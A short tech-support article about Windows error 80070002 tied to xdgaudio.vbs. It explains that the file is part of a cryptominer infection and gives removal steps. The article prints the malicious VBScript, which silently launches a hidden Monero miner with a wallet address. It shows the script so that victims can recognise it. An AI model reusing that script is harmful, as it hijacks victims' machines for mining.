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Error 80070002 xdgaudio.vbs cannot find the file specified?

If you’re receiving the following error message related to “xdgaudio.vbs” in your system, then your computer is most likely infected.

Script:    C:\windows\xdgaudio.vbs
Line:    3
Char:    1
Error:    The system cannot find the file specified.
Code:    80070002
Source:     (null)

When edited with Notepad, the script may contain lines such as below:

Dim WShell
Set WShell = CreateObject("WScript.Shell")
WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp:// -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -p x -k -o stratum+tcp:// -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x", 0
Set WShell = Nothing

This certainly looks like a CPU / cryptocurrency Miner trojan which not only slows down your computer, but also can pose a security threat. The script files c:\windows\xdgaudio.vbs and c:\windows\servicecrsssr.vbs should be deleted. That’s not enough. Run a thorough scan using Malwarebytes antimalware, and also scan with the antivirus software you’re using.

For a detailed instructions on removing such Miner Trojan, check out guide How to remove CPU Miner Trojan from Windows (Virus Help Guide).

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